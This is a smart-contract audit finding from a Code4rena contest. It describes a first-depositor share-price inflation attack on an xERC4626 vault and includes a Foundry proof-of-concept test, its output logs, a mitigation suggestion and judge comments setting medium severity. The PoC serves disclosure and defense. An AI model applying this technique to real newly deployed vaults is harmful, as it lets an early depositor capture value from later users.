First xERC4626 deposit exploit can break share calculation

[code423n4]

Lines of code

https://github.com/Rari-Capital/solmate/blob/12421e3edee21cfb99bf5a6edd6169e6497511de/src/mixins/ERC4626.sol#L133

Vulnerability details

Solmate convertToShares function follow the formula: assetDepositAmount * totalShareSupply / assetBalanceBeforeDeposit.

The share price always return 1:1 with asset token. If everything work normally, share price will slowly increase with time to 1:2 or 1:10 as more rewards coming in.

But right after xERC4626 contract creation, during first cycle, any user can deposit 1 share set totalSupply = 1. And transfer token to vault to inflate totalAssets() before rewards kick in. (Basically, pretend rewards themselves before anyone can deposit in to get much better share price.)

This can inflate base share price as high as 1:1e18 early on, which force all subsequence deposit to use this share price as base.

Impact

New xERC4626 vault share price can be manipulated right after creation.
Which give early depositor greater share portion of the vault during the first cycle.

While deposit token also affected by rounding precision (due to exploit above) that always return lesser amount of share for user.

POC

Add these code to xERC4626Test.t.sol file to test.

    function testExploitNormalCase() public {
        token.mint(address(this), 1e24); // funding
        token.approve(address(xToken), type(uint256).max);
        xToken.syncRewards();
        hevm.warp(1); // skip 1 block from sync rewards. to update new TotalAsset() value
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 1e18  ", xToken.deposit(1e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_string("fast forward 1 hour to new rewards cycle");
        hevm.warp(3601); // new cycle
        emit log_named_uint("deposit 2e18  ", xToken.deposit(2e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // Share price stay the same 1:1. Due to no rewards have been given.
    }

    function testExploitShare() public {
        token.mint(address(this), 1e24); // funding
        token.approve(address(xToken), type(uint256).max);

        // init total supply as 1:1 share with token as one.
        xToken.deposit(1, address(this));

        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_string("transfer 100e18 fake token rewards to inflate share price");
        // transfer fake rewards token to xToken contract to inflate totalAsset()
        token.transfer(address(xToken), 100e18);
        xToken.syncRewards();
        hevm.warp(1); // skip 1 block from sync rewards. to update new TotalAsset() value

        // totalSupply() still 1. So current share price is ~ 1e18 token instead of 1:1 for token.
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 1e18  ", xToken.deposit(1e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // After new cycle come around. No rewards have been given.
        // But TotalAsset() have been updated to include fake rewards transfer above.
        // this push share price even higher than it should be.
        emit log_string("fast forward 1 hour to new rewards cycle");
        hevm.warp(3601); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 2e18  ", xToken.deposit(2e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 500e18", xToken.deposit(500e18, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        // xToken.syncRewards();
        // hevm.warp(7202); // new cycle
        // Test rounding up value of share
        emit log_named_uint("deposit 1.3e17", xToken.deposit(1.3e17, address(this)));
        emit log_named_uint("deposit 1.9e17", xToken.deposit(1.9e17, address(this)));
        emit log_named_uint("deposit 2e17  ", xToken.deposit(2e17, address(this)));
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
        emit log_named_uint("deposit 2.5e17", xToken.deposit(2.5e17, address(this)));
        // token too small will be reverted.
        hevm.expectRevert(abi.encodePacked("ZERO_SHARES"));
        xToken.deposit(1e17, address(this));
        emit log_string("deposit token less than share price amount will be reverted with zero share error");

        emit log_string("fast forward 1 hour to new rewards cycle");
        xToken.syncRewards();
        hevm.warp(7610); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));

        emit log_string("fast forward 1 hour to new rewards cycle");
        xToken.syncRewards();
        hevm.warp(7610+3601); // new cycle
        emit log_named_uint("share price   ", xToken.convertToAssets(1));
    }

Log Result:

Running 2 tests for src\test\xERC4626.t.sol:xERC4626Test
[PASS] testExploitNormalCase() (gas: 286966)
Logs:
  share price   : 1
  deposit 1e18  : 1000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1
  fast forward 1 hour to new rewards cycle
  deposit 2e18  : 2000000000000000000
  share price   : 1
  deposit 500e18: 500000000000000000000
  share price   : 1

[PASS] testExploitShare() (gas: 410737)
Logs:
  share price   : 1
  transfer 100e18 fake token rewards to inflate share price
  share price   : 100000000000000001
  deposit 1e18  : 9
  share price   : 110000000000000000
  deposit 500e18: 4545
  share price   : 110010976948408342
  deposit 500e18: 4545
  share price   : 110010989010989010
  fast forward 1 hour to new rewards cycle
  share price   : 120989010989010989
  deposit 2e18  : 16
  share price   : 120996050899517332
  deposit 500e18: 4132
  share price   : 120999396135265700
  deposit 1.3e17: 1
  deposit 1.9e17: 1
  deposit 2e17  : 1
  share price   : 121011244434382310
  deposit 2.5e17: 2
  deposit token less than share price amount will be reverted due to return 0 share
  fast forward 1 hour to new rewards cycle
  share price   : 121011846374405794
  fast forward 1 hour to new rewards cycle
  share price   : 121011846374405794

Test result: ok. 2 passed; 0 failed; finished in 20.78ms

Mitigate Recommendation

This exploit is unique to contract similar to ERC4626. It only works if starting supply equal 0 or very small number and rewards cycle is very short. Or everyone withdraws, total share supply become 0.

This can be easily fix by making sure someone always deposited first so totalSupply become high enough that this exploit become irrelevant. Unless in unlikely case someone made arbitrage bot watching vault factory contract.
Just force deposit early token during vault construction as last resort.

[Joeysantoro]

https://github.com/Rari-Capital/solmate/pull/174/files this is a known issue with 4626. xTRIBE would be initialized safely in this case

[0xean]

Known or unknown this is still a valid attack that isn't mitigated for in the current codebase. Given that there are mitigations that could be integrated on chain (like in the uniswap contracts that burn the first dust amount of LP tokens) , and the warden did demonstrate the attack I am going to downgrade this to medium severity as a "leak of value"

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.